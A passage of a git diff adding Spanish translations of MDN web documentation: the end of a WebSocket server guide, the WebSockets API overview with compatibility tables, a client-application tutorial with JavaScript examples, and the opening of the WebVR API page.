+<p>A ping or pong is just a regular frame, but it's a <strong>control frame</strong>. Pings have an opcode of <code>0x9</code>, and pongs have an opcode of <code>0xA</code>. When you get a ping, send back a pong with the exact same Payload Data as the ping (for pings and pongs, the max payload length is 125). You might also get a pong without ever sending a ping; ignore this if it happens.</p>
+
+<div class="note">
+<p>If you have gotten more than one ping before you get the chance to send a pong, you only send one pong.</p>
+</div>
+
+<h2 id="Step_4_Closing_the_connection">Step 4: Closing the connection</h2>
+
+<p>To close a connection either the client or server can send a control frame with data containing a specified control sequence to begin the closing handshake (detailed in <a href="http://tools.ietf.org/html/rfc6455#section-5.5.1">Section 5.5.1</a>). Upon receiving such a frame, the other peer sends a Close frame in response. The first peer then closes the connection. Any further data received after closing of connection is then discarded. </p>
+
+<h2 id="Miscellaneous_2"><a name="Miscellaneous">Miscellaneous</a></h2>
+
+<div class="note">
+<p>WebSocket codes, extensions, subprotocols, etc. are registered at the <a href="http://www.iana.org/assignments/websocket/websocket.xml">IANA WebSocket Protocol Registry</a>.</p>
+</div>
+
+<p>WebSocket extensions and subprotocols are negotiated via headers during <a href="#Handshake">the handshake</a>. Sometimes extensions and subprotocols seem too similar to be different things, but there is a clear distinction. Extensions control the WebSocket <strong>frame</strong> and <strong>modify</strong> the payload, while subprotocols structure the WebSocket <strong>payload</strong> and <strong>never modify</strong> anything. Extensions are optional and generalized (like compression); subprotocols are mandatory and localized (like ones for chat and for MMORPG games).</p>
+
+<h3 id="Extensions">Extensions</h3>
+
+<div class="note">
+<p><strong>This section needs expansion. Please edit if you are equipped to do so.</strong></p>
+</div>
+
+<p>Think of an extension as compressing a file before e-mailing it to someone. Whatever you do, you're sending the <em>same</em> data in different forms. The recipient will eventually be able to get the same data as your local copy, but it is sent differently. That's what an extension does. WebSockets defines a protocol and a simple way to send data, but an extension such as compression could allow sending the same data but in a shorter format.</p>
+
+<div class="note">
+<p>Extensions are explained in sections 5.8, 9, 11.3.2, and 11.4 of the spec.</p>
+</div>
+
+<p><em>TODO</em></p>
+
+<h3 id="Subprotocols">Subprotocols</h3>
+
+<p>Think of a subprotocol as a custom <a href="https://en.wikipedia.org/wiki/XML_schema">XML schema</a> or <a href="https://en.wikipedia.org/wiki/Document_Type_Definition">doctype declaration</a>. You're still using XML and its syntax, but you're additionally restricted by a structure you agreed on. WebSocket subprotocols are just like that. They do not introduce anything fancy, they just establish structure. Like a doctype or schema, both parties must agree on the subprotocol; unlike a doctype or schema, the subprotocol is implemented on the server and cannot be externally refered to by the client.</p>
+
+<div class="note">
+<p>Subprotocols are explained in sections 1.9, 4.2, 11.3.4, and 11.5 of the spec.</p>
+</div>
+
+<p>A client has to ask for a specific subprotocol. To do so, it will send something like this <strong>as part of the original handshake</strong>:</p>
+
+<pre>GET /chat HTTP/1.1
+...
+Sec-WebSocket-Protocol: soap, wamp
+
+</pre>
+
+<p>or, equivalently:</p>
+
+<pre>...
+Sec-WebSocket-Protocol: soap
+Sec-WebSocket-Protocol: wamp
+
+</pre>
+
+<p>Now the server must pick one of the protocols that the client suggested and it supports. If there are more than one, send the first one the client sent. Imagine our server can use both <code>soap</code> and <code>wamp</code>. Then, in the response handshake, it'll send:</p>
+
+<pre>Sec-WebSocket-Protocol: soap
+
+</pre>
+
+<div class="warning">
+<p>The server can't send more than one <code>Sec-Websocket-Protocol</code> header.<br>
+ <span style="line-height: 1.5;">If the server doesn't want to use a</span><span style="line-height: 1.5;">ny subprotocol, </span><strong style="line-height: 1.5;">it shouldn't send any <code>Sec-WebSocket-Protocol</code> header</strong><span style="line-height: 1.5;">. Sending a blank header is incorrect.<br>
+ The client may close the connection if it doesn't get the subprotocol it wants.</span></p>
+</div>
+
+<p>If you want your server to obey certain subprotocols, then naturally you'll need extra code on the server. Let's imagine we're using a subprotocol <code>json</code>. In this subprotocol, all data is passed as <a href="https://en.wikipedia.org/wiki/JSON">JSON</a>. If the client solicits this protocol and the server wants to use it, the server will need to have a JSON parser. Practically speaking, this will be part of a library, but the server will need to pass the data around.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> To avoid name conflict, it's recommended to make your subprotocol name part of a domain string. If you are building a custom chat app that uses a proprietary format exclusive to Example Inc., then you might use this: <code>Sec-WebSocket-Protocol: chat.example.com</code>. For different versions, a widely-used method is to add a <code>/</code> followed by the version number, like <code>chat.example.com/2.0</code>. Note that this isn't required, it's just an optional convention, and you can use any string you wish.</p>
+</div>
+
+<h2 id="Related">Related</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebSockets/Writing_WebSocket_server" title="/en-US/docs/WebSockets/Writing_WebSocket_server">Tutorial: Websocket server in C#</a></li>
+ <li><a href="/en-US/docs/WebSockets/Writing_WebSocket_client_applications">Writing WebSocket client applications</a></li>
+ <li><a href="/en-US/docs/WebSockets/WebSocket_Server_Vb.NET">Tutorial: Websocket server in VB.NET</a></li>
+</ul>
diff --git a/files/es/web/api/websockets_api/index.html b/files/es/web/api/websockets_api/index.html
new file mode 100644
index 0000000000..e1c339558f
--- /dev/null
+++ b/files/es/web/api/websockets_api/index.html
@@ -0,0 +1,172 @@
+---
+title: WebSockets
+slug: Web/API/WebSockets_API
+translation_of: Web/API/WebSockets_API
+---
+<p>{{DefaultAPISidebar("Websockets API")}}</p>
+
+<p><strong>WebSockets </strong>es una tecnología avanzada que hace posible abrir una sesión de comunicación interactiva entre el navegador del usuario y un servidor. Con esta  API, puede enviar mensajes a un servidor y  recibir  respuestas controladas por eventos sin tener que consultar al servidor para una respuesta.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebSocket" title="en/WebSockets/WebSockets reference/WebSocket"><code>WebSocket</code></a></dt>
+ <dd>El interfaz principal para conectar a un servidor Websocket y así enviar y recibir datos a través de la conexión.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/CloseEvent" title="en/WebSockets/WebSockets reference/CloseEvent">CloseEvent</a></code></dt>
+ <dd>El evento enviado por el objeto WebSocket cuando se cierra la conexión.</dd>
+ <dt><a href="/en-US/docs/Web/API/MessageEvent" title="en/WebSockets/WebSockets reference/MessageEvent"><code>MessageEvent</code></a></dt>
+ <dd>El evento enviado por el objeto WebSocket cuando se recibe un mensaje enviado desde el servidor.</dd>
+</dl>
+
+<div class="section">
+<h2 class="Tools" id="Tools" name="Tools">Herramientas</h2>
+
+<ul>
+ <li><a class="external" href="http://socket.io" title="http://socket.io/">Socket.IO</a>: Una poderosa API WebSocket multi-plataforma para <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>.</li>
+ <li><a class="link-https" href="https://github.com/Worlize/WebSocket-Node" title="https://github.com/Worlize/WebSocket-Node">WebSocket-Node</a>: Un servidor WebSocket API implementado para <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>.</li>
+ <li><a href="http://www.totaljs.com">Total.js</a>: Framework para aplicaciones web para <a href="http://www.nodejs.org">Node.js</a> (Ejemplo: <a href="https://github.com/totaljs/examples/tree/master/websocket">WebSocket chat</a>)</li>
+ <li><a href="https://www.npmjs.com/package/faye-websocket">Faye</a>: Un servidor y cliente <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API">WebSocket</a> (conexión bidireccional) y <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventSource/">EventSource</a> (conexión unidireccional) para <a class="external" href="http://nodejs.org" title="http://nodejs.org/">Node.js</a>.</li>
+</ul>
+
+<h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Temas RELACIONADOS</h2>
+
+<ul>
+ <li><a href="/en-US/docs/AJAX" title="AJAX">AJAX</a>, <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a></li>
+</ul>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a class="external" href="http://tools.ietf.org/html/rfc6455">RFC 6455 - The WebSocket Protocol</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/websockets/">WebSocket API Specification</a></li>
+ <li><a href="/en-US/docs/Server-sent_events" title="Server-sent_events">Server-Sent Events</a></li>
+</ul>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Versión -76  {{obsolete_inline}}</td>
+   <td>6</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.00 (disabled)</td>
+   <td>5.0.1</td>
+  </tr>
+  <tr>
+   <td>Protocolo versión 7</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}<br>
+    {{property_prefix("Moz")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Protocolo versión 10</td>
+   <td>14</td>
+   <td>{{CompatGeckoDesktop("7.0")}}<br>
+    {{property_prefix("Moz")}}</td>
+   <td>HTML5 Labs</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>RFC 6455 (IETF Draft 17)</td>
+   <td>16</td>
+   <td>{{CompatGeckoDesktop("11.0")}}</td>
+   <td>10</td>
+   <td>12.10</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Versión -76  {{obsolete_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Protocolo versión 7</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Protocolo versión 8 (IETF draft 10)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("7.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>RFC 6455 (IETF Draft 17)</td>
+   <td>16</td>
+   <td>{{CompatGeckoDesktop("11.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12.10</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notas_para_Gecko">Notas para Gecko</h3>
+
+<p>La compatibilidad de Firefox con WebSockets ha seguido la evolución de la especificación WebSocket. Firefox 6 implementa la versión 7 del protocolo subyacente, mientras que Firefox 7 implementa la versión 8 (como especifica IETF draft 10). Firefox mobile tuvo compatibilidad con WebSocket en Firefox mobile 7.0.</p>
+
+<h4 id="Gecko_6.0">Gecko 6.0</h4>
+
+<p>Prior to Gecko 6.0 {{geckoRelease("6.0")}}, there was, incorrectly, a <code>WebSocket</code> object that some sites were thinking implied that <code>WebSocket</code> services were not prefixed; this object has been renamed to <code>MozWebSocket</code>.</p>
+
+<h4 id="Gecko_7.0">Gecko 7.0</h4>
+
+<p>Starting in Gecko 7.0 {{geckoRelease("7.0")}}, the <code>network.websocket.max-connections</code> preference is used to determine the maximum number of WebSocket connections that can be open at a time. The default value is 200.</p>
+
+<h4 id="Gecko_8.0">Gecko 8.0</h4>
+
+<p>Starting in Gecko 8.0 {{geckoRelease("8.0")}}, the deflate-stream extension to the WebSocket protocol has been disabled, since it's been deprecated from the specification drafts. This resolves incompatibilities with some sites.</p>
+
+<h4 id="Gecko_11.0">Gecko 11.0</h4>
+
+<p>Prior to Gecko 11.0, both incoming and outgoing messages were limited to 16 MB in size. They may now be up to 2 GB in size. Note, however, that memory limitations (especially on mobile devices) make that a theoretical maximum, not a practical one. In reality, transfers of that size will fail on devices that don't have enough memory.</p>
+
+<p>Additionally, ArrayBuffer send and receive support for binary data has been implemented.</p>
+
+<p>Starting in Gecko 11.0, the WebSocket API is no longer prefixed.</p>
+
+<div class="warning"><strong>Warning:</strong> Among other things, a key reason WebSockets was disabled by default in Firefox 4 and 5 is the discovery of a <a class="external" href="http://www.ietf.org/mail-archive/web/hybi/current/msg04744.html" title="http://www.ietf.org/mail-archive/web/hybi/current/msg04744.html">security issue in the protocol's design</a>. This was fixed in Firefox 6 by implementing a newer version of the protocol that corrects the problem.</div>
+
+<div>{{HTML5ArticleTOC}}</div>
diff --git a/files/es/web/api/websockets_api/writing_websocket_client_applications/index.html b/files/es/web/api/websockets_api/writing_websocket_client_applications/index.html
new file mode 100644
index 0000000000..3dda33b8da
--- /dev/null
+++ b/files/es/web/api/websockets_api/writing_websocket_client_applications/index.html
@@ -0,0 +1,197 @@
+---
+title: Escribiendo aplicaciones con WebSockets
+slug: Web/API/WebSockets_API/Writing_WebSocket_client_applications
+tags:
+  - Guía WebSocket WebSockets
+translation_of: Web/API/WebSockets_API/Writing_WebSocket_client_applications
+---
+<p>{{ draft() }}</p>
+
+<p><span style="background-clip: initial; font-family: arial,sans-serif; font-size: 10.5pt; line-height: 115%;">WebSockets es una tecnología basada en el protocolo ws, este hace posible establecer una conexión continua  full-duplex, entre un cliente y servidor. Un cliente websocket podría ser el navegador del usuario, pero el protocolo es una plataforma independiente.</span></p>
+
+<div class="note"><strong>Nota:</strong> Tenemos un ejemplo funcional de un sistema de chat/servidor usado para ejemplos de código que estará disponible una vez nuestra infraestructura esté en posición de hospedar ejemplos de WebSocket apropiadamente.</div>
+
+<h2 id="Disponibilidad_de_WebSockets">Disponibilidad de WebSockets</h2>
+
+<p>La API de WebSocket esta disponible para el código JavaScript cuyo alcance DOM sea un objeto {{ domxref("Window") }} o cualquier objeto implementando {{ domxref("WorkerUtils") }}; si es así, puedes usarlos desde los Web Workers.</p>
+
+<div class="note"><strong>Nota: </strong>La API de WebSockets (y el protocolo subyacente) continúan en activo desarrollo, y existen muchos problemas de compatibilidad entre los navegadores en este momento (e inclusive entre los diferentes lanzamientos del mismo navegador).</div>
+
+<h2 id="Creando_un_Objeto_WebSocket">Creando un Objeto WebSocket</h2>
+
+<p>Para comunicarse utilizando  el protocolo webSocket, necesitarás crear un objeto WebSocket; este automáticamente abrirá una conexión temporal al servidor.</p>
+
+<p>El constructor WebSocket requiere de un parámetro obligatorio y otro opcional:</p>
+
+<pre>WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString protocols
+);
+
+WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString[] protocols
+);
+</pre>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>La url a la que conectar; esta es la URL a la que el WebSocket responde.</dd>
+ <dt><code>protocols</code> {{ optional_inline() }}</dt>
+ <dd>Un string o array de strings con el/los protocolos a usar. Estos strings son usados para indicar sub-protocolos, para que el servidor pueda implementar multiples sub-protocolos WebSocket (por ejemplo, puede necesitar usar un servidor para manejar diferentes tipos de interacciones dependiendo del protocolo especificado). Si no se especifica el string como protocolo, se asumirá un string vacío.</dd>
+</dl>
+
+<p>El constructor puede lanzar excepciones:</p>
+
+<dl>
+ <dt><code>SECURITY_ERR</code></dt>
+ <dd>El puerto de la conexión está siendo bloqueado.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h3 id="Errores_de_conexión">Errores de conexión</h3>
+
+<p>Si ocurre un error al intentar conectar, lo primero que recibiremos será un evento con el nombre de "error" en el objeto <code><a href="/en/WebSockets/WebSockets_reference/WebSocket" title="WebSocket">WebSocket</a> </code>(de este modo se invoca el manejador <code>onerror</code>), y luego <a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="CloseEvent"><code>CloseEvent</code></a> es enviado al objeto <code><a href="/en/WebSockets/WebSockets_reference/WebSocket" title="WebSocket">WebSocket</a> </code>(de este modo se invoca el manejador <code>onclose</code>), para indicar la razón del cierre de la conexión.</p>
+
+<p>A partir de Firefox 11, es normal recibir un mensaje de error descriptivo  en la consola de la plataforma Mozilla, y un código de cierre como está definido en el <a class="external" href="http://tools.ietf.org/html/rfc6455#section-7.4" title="RFC 6455 Section 7.4">RFC 6455, Section 7.4</a> a través de un <a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="CloseEvent"><code>CloseEvent</code></a>.</p>
+
+<h3 id="Ejemplos">Ejemplos</h3>
+
+<p>En este ejemplo de crea un nuevo WebSocket, conectandose al servidor <code><span class="nowiki">ws://www.example.com/socketserver</span></code>. El nombre del protocolo "protocolOne"  es el utilizado para la consulta del socket, aunque puede ser omitido.</p>
+
+<pre class="brush: js">var exampleSocket = new WebSocket("ws://www.example.com/socketserver", "protocolOne");
+</pre>
+
+<p>Como respuesta, <code>exampleSocket</code>.<code>readyState</code> es <code>CONNECTING</code>. El <code>readyState</code> será  <code>OPEN</code> una vez que la conexión este lista para transferir información.</p>
+
+<p>Si se quiere establecer una conexión que soporte varios protocolos, se puede establecer un array de protocolos:</p>
+
+<pre class="brush: js">var exampleSocket = new WebSocket("ws://www.example.com/socketserver", ["protocolOne", "protocolTwo"]);
+</pre>
+
+<p>Una vez que la conexión este establecida (<code>readyState</code> estará <code>OPEN</code>), <code>exampleSocket.protocol</code> te dirá qué protocolo ha seleccionado el servidor.</p>
+
+<p>En los ejemplos anteriores <code>ws</code> sustituye <code>http</code>, y de igual manera <code>wss</code> sustituye a <code>https</code>. Al crear un WebSocket se hace uso del mecanismo Upgrade de HTTP, por lo que la petición de actualización del protocolo está implícita cuando accedemos al servidor HTTP con <code><span class="nowiki">ws://www.example.com</span></code> o <code><span class="nowiki">wss://www.example.com</span></code>.</p>
+
+<h2 id="Enviando_Información_al_servidor">Enviando Información al servidor</h2>
+
+<p>Una vez la conexión esta abierta, se puede comenzar<span style="line-height: 1.5;"> a enviar datos al servidor. Para hacer esto, simplemente se llama al metodo</span><span style="line-height: 1.5;"> </span><a href="/en/WebSockets/WebSockets_reference/WebSocket#send()" style="line-height: 1.5;" title="en/WebSockets/WebSockets reference/WebSocket#send()"><code>send()</code></a><span style="line-height: 1.5;"> del objeto </span><code style="font-style: normal; line-height: 1.5;">WebSocket</code>, <span style="line-height: 1.5;">cada vez que se desea enviar un mensaje:</span></p>
+
+<pre class="brush: js">exampleSocket.send("Here's some text that the server is urgently awaiting!");
+</pre>
+
+<p>Puedes enviar información como un string, {{ domxref("Blob") }}, o en un  <a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a>.</p>
+
+<div class="note"><strong>Nota:</strong> Antes de la version 11, Firefox sólo soportaba el envío de datos como una cadena.</div>
+
+<p>Como la conexión es asincronica y es propensa a fallar, no hay garantia de poder llamar al metodo <code>send()</code> inmediatamente despúes de haber creado el objeto WebSocket de manera exitosa. Para enviar información se debe estar seguro de que almenos una conexión ya esta abierta, usando el manejador <code>onopen</code>:</p>
+
+<pre class="brush: js">exampleSocket.onopen = function (event) {
+  exampleSocket.send("Here's some text that the server is urgently awaiting!");
+};
+</pre>
+
+<h3 id="Usando_JSON_para_transferir_Objetos">Usando JSON para transferir Objetos</h3>
+
+<p>Una forma de enviar información compleja al servidor es utilizar <a href="/en/JSON" title="en/JSON">JSON</a>. Por ejemplo, un programa para chatear puede interactuar con el servidor usando un protocolo que implementa el uso de paquetes de JSON:</p>
+
+<pre class="brush: js">// Envia texto a todos los usuarios através del servidor
+function sendText() {
+  // Se construye un Objeto msg que contiene la información que el servidor necesita procesar de ese cliente.
+  var msg = {
+    type: "message",
+    text: document.getElementById("text").value,
+    id:   clientID,
+    date: Date.now()
+  };
+
+  // Send the msg object as a JSON-formatted string.
+  exampleSocket.send(JSON.stringify(msg));
+
+  // Blank the text input element, ready to receive the next line of text from the user.
+  document.getElementById("text").value = "";
+}
+</pre>
+
+<h2 id="Recibiendo_mensajes_del_servidor">Recibiendo mensajes del servidor</h2>
+
+<p>WebSockets<span style="line-height: 1.5;"> </span><span style="line-height: 1.5;">API</span><span style="line-height: 1.5;"> es un manejador de eventos; cuando el mensaje es recibido, un "message" el evento es pasado el manejador </span><code style="font-style: normal; line-height: 1.5;">onmessage</code><span style="line-height: 1.5;">. Para escuchar la entrada de información, se puede hacer algo como lo siguiente:</span></p>
+
+<pre class="brush: js">exampleSocket.onmessage = function (event) {
+  console.log(event.data);
+}
+</pre>
+
+<h3 id="Recibiendo_e_interpretando_objetos_JSON">Recibiendo e interpretando objetos JSON</h3>
+
+<p>Vamos a imaginar una aplicación de chat, donde el cliente usa JSON para transmitir objetos con información. Hay varios tipos de paquetes que el cliente recibirá:</p>
+
+<ul>
+ <li>Inicio de sesión handshake</li>
+ <li>Mensajes de texto</li>
+ <li>Actualización de Lista de usuarios</li>
+</ul>
+
+<p>El código que interpretará los mensajes entrantes será así:</p>
+
+<pre class="brush: js">exampleSocket.onmessage = function(event) {
+  var f = document.getElementById("chatbox").contentDocument;
+  var text = "";
+  var msg = JSON.parse(event.data);
+  var time = new Date(msg.date);
+  var timeStr = time.toLocaleTimeString();
+
+  switch(msg.type) {
+    case "id":
+      clientID = msg.id;
+      setUsername();
+      break;
+    case "username":
+      text = "&lt;b&gt;User &lt;em&gt;" + msg.name + "&lt;/em&gt; signed in at " + timeStr + "&lt;/b&gt;&lt;br&gt;";
+      break;
+    case "message":
+      text = "(" + timeStr + ") &lt;b&gt;" + msg.name + "&lt;/b&gt;: " + msg.text + "&lt;br&gt;";
+      break;
+    case "rejectusername":
+      text = "&lt;b&gt;Your username has been set to &lt;em&gt;" + msg.name + "&lt;/em&gt; because the name you chose is in use.&lt;/b&gt;&lt;br&gt;"
+      break;
+    case "userlist":
+      var ul = "";
+      for (i=0; i &lt; msg.users.length; i++) {
+        ul += msg.users[i] + "&lt;br&gt;";
+      }
+      document.getElementById("userlistbox").innerHTML = ul;
+      break;
+  }
+
+  if (text.length) {
+    f.write(text);
+    document.getElementById("chatbox").contentWindow.scrollByPages(1);
+  }
+};
+</pre>
+
+<p>Se usa <code><a href="/en/JavaScript/Reference/Global_Objects/JSON/parse" title="en/JavaScript/Reference/Global Objects/JSON/parse">JSON.parse()</a></code> para convertir el objeto JSON de vuelta al original, luego se examina y se realiza la acción pertinente.</p>
+
+<h3 id="Formato_de_texto_de_los_datos">Formato de texto de los datos</h3>
+
+<p>El texto recibido a través de la conexión WebSocket está en formato UTF-8.</p>
+
+<p>Antes de Gecko 9.0 {{ geckoRelease("9.0") }}, algunos no-caracteres que siguen siendo texto UTF-8 válido podrían causar el cierre de la conexión. Ahora Gecko permite esos valores.</p>
+
+<h2 id="Cerrando_la_conexión">Cerrando la conexión</h2>
+
+<p>Cuando se ha terminado de usar la conexión WebSocket, se llama el método <code><a href="/en/WebSockets/WebSockets_reference/WebSocket#close()" title="en/WebSockets/WebSockets reference/WebSocket#close()">close()</a></code> del objeto <code>WebSocket</code>:</p>
+
+<pre class="brush: js">exampleSocket.close();
+</pre>
+
+<p>Puede ser de gran ayuda revisar el atributo <code>bufferedAmount</code> del socket para verificar que toda la información ha sido enviada antes de intentar cerrar el socket.</p>
+
+<h2 id="Consideraciones_de_Seguridad">Consideraciones de Seguridad</h2>
+
+<p>Los WebSockets no deben ser usados en entornos de contenido mixto; eso es, no debes abrir una conexión de WebSocket <em>no segura</em> desde una página cargada usando <em>HTTPS </em>o viceversa. De hecho, muchos navegadores solo admiten conexiones WebSocket seguras, y ya no soportan su uso en contextos no seguros.</p>
+
+<p>{{ languages ( {"zh-tw": "zh_tw/WebSockets/Writing_WebSocket_client_applications"} ) }}</p>
diff --git a/files/es/web/api/webvr_api/index.html b/files/es/web/api/webvr_api/index.html
new file mode 100644
index 0000000000..199e8f6458
--- /dev/null
+++ b/files/es/web/api/webvr_api/index.html
@@ -0,0 +1,256 @@
+---
+title: WebVR API
+slug: Web/API/WebVR_API
+tags:
+  - API
+  - Experimental
+  - Landing
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - VR
+  - Virtual Reality
+  - WebVR
+translation_of: Web/API/WebVR_API
+---
+<div>{{SeeCompatTable}}{{APIRef("WebVR API")}}</div>
+
+<p class="summary">WebVR proporciona soporte para la exposición de dispositivos de realidad virtual — por ejemplo el visualizador de Oculus Rift o HTC Vive — para aplicaciones web, permitiendo a los desarrolladores traducir la información de posición y movimiento del visualizador al movimiento alrededor de una escena en 3D. Esto tiene numerosas aplicaciones interesantes, desde visitas virtuales de productos y aplicaciones de capacitación interactiva hasta juegos inmersivos en primera persona.</p>
+
+<h2 id="Concepts_and_usage">Concepts and usage</h2>
+
+<p>Any VR devices attached to your computer will be returned by the {{domxref("Navigator.getVRDisplays()")}} method; each one will be represented by a {{domxref("VRDisplay")}} object.</p>
+
+<p><img alt='Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labelled "Position sensor"' src="https://mdn.mozillademos.org/files/11035/hw-setup.png" style="display: block; height: 78px; margin: 0px auto; width: 60%;"></p>
+
+<p>{{domxref("VRDisplay")}} is the central interface in the WebVR API — via its properties and methods you can access functionality to:</p>
+
+<ul>
+ <li>Retrieve useful information to allow us to identify the display, what capabilities it has, controllers associated with it, and more.</li>
+ <li>Retrieve {{domxref("VRFrameData", "frame data")}} for each frame of content you you want to present in a display, and submit those frames for display at a consistent rate.</li>
+ <li>Start and stop presenting to the display.</li>
+</ul>
+
+<p>A typical (simple) WebVR app would work like so:</p>
+
+<ol>
+ <li>{{domxref("Navigator.getVRDisplays()")}} is used to get a reference to your VR display.</li>
+ <li>{{domxref("VRDisplay.requestPresent()")}} is used to start presenting to the VR display.</li>
+ <li>WebVR's dedicated {{domxref("VRDisplay.requestAnimationFrame()")}} method is used to run the app's rendering loop at the correct refresh rate for the display.</li>
+ <li>Inside the rendering loop, you grab the data required to display the current frame ({{domxref("VRDisplay.getFrameData()")}}), draw the displayed scene twice — once for the view in each eye, then submit the rendered view to the display to show to the user ({{domxref("VRDisplay.submitFrame()")}}).</li>
+</ol>
+
+<p>In addition, WebVR 1.1 adds a number of events on the {{domxref("Window")}} object to allow JavaScript to respond to changes to the status of the display.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can find a lot more out about how the API works in our <a href="/en-US/docs/Web/API/WebVR_API/Using_the_WebVR_API">Using the WebVR API</a> and <a href="/en-US/docs/Web/API/WebVR_API/Concepts">WebVR Concepts</a> articles.</p>
+</div>
+
+<h3 id="Using_controllers_Combining_WebVR_with_the_Gamepad_API">Using controllers: Combining WebVR with the Gamepad API</h3>
+
+<p>Many WebVR hardware setups feature controllers that go along with the headset. These can be used in WebVR apps via the <a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a>, and specifically the <a href="/en-US/docs/Web/API/Gamepad_API#Experimental_Gamepad_extensions">Gamepad Extensions API</a> that adds API features for accessing <a href="/en-US/docs/Web/API/GamepadPose">controller pose</a>, <a href="/en-US/docs/Web/API/GamepadHapticActuator">haptic actuators</a>, and more.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Our <a href="/en-US/docs/Web/API/WebVR_API/Using_VR_controllers_with_WebVR">Using VR controllers with WebVR</a> article explains the basics of how to use VR controllers with WebVR apps.</p>
+</div>
+
+<h2 id="WebVR_Interfaces">WebVR Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplay")}}</dt>
+ <dd>Represents any VR device supported by this API. It includes generic information such as device IDs and descriptions, as well as methods for starting to present a VR scene, retrieving eye parameters and display capabilities, and other important functionality.</dd>
+ <dt>{{domxref("VRDisplayCapabilities")}}</dt>
+ <dd>Describes the capabilities of a {{domxref("VRDisplay")}} — it's features can be used to perform VR device capability tests, for example can it return position information.</dd>
+ <dt>{{domxref("VRDisplayEvent")}}</dt>
+ <dd>Represents the event object of WebVR-related events (see the {{anch("Window", "window object extensions")}} listed below).</dd>
+ <dt>{{domxref("VRFrameData")}}</dt>
+ <dd>Represents all the information needed to render a single frame of a VR scene; constructed by {{domxref("VRDisplay.getFrameData()")}}.</dd>
+ <dt>{{domxref("VRPose")}}</dt>
+ <dd>Represents the position state at a given timestamp (which includes orientation, position, velocity, and acceleration.)</dd>
+ <dt>{{domxref("VREyeParameters")}}</dt>
+ <dd>Provides access to all the information required to correctly render a scene for each given eye, including field of view information.</dd>
+ <dt>{{domxref("VRFieldOfView")}}</dt>
+ <dd>Represents a field of view defined by 4 different degree values describing the view from a center point.</dd>
+ <dt>{{domxref("VRLayerInit")}}</dt>
+ <dd>Represents a layer to be presented in a {{domxref("VRDisplay")}}.</dd>
+ <dt>{{domxref("VRStageParameters")}}</dt>
+ <dd>Represents the values describing the the stage area for devices that support room-scale experiences.</dd>
+</dl>
+
+<h3 id="Extensions_to_other_interfaces">Extensions to other interfaces</h3>
+
+<p>The WebVR API extends the following APIs, adding the listed features.</p>
+
+<h4 id="Gamepad">Gamepad</h4>
+
+<dl>
+ <dt>{{domxref("Gamepad.displayId")}} {{readonlyInline}}</dt>
+ <dd><dfn>Returns the {{domxref("VRDisplay.displayId")}} of the associated {{domxref("VRDisplay")}} — the <code>VRDisplay</code> that the gamepad is controlling the displayed scene of.</dfn></dd>
+</dl>
+
+<h4 id="Navigator">Navigator</h4>
+
+<dl>
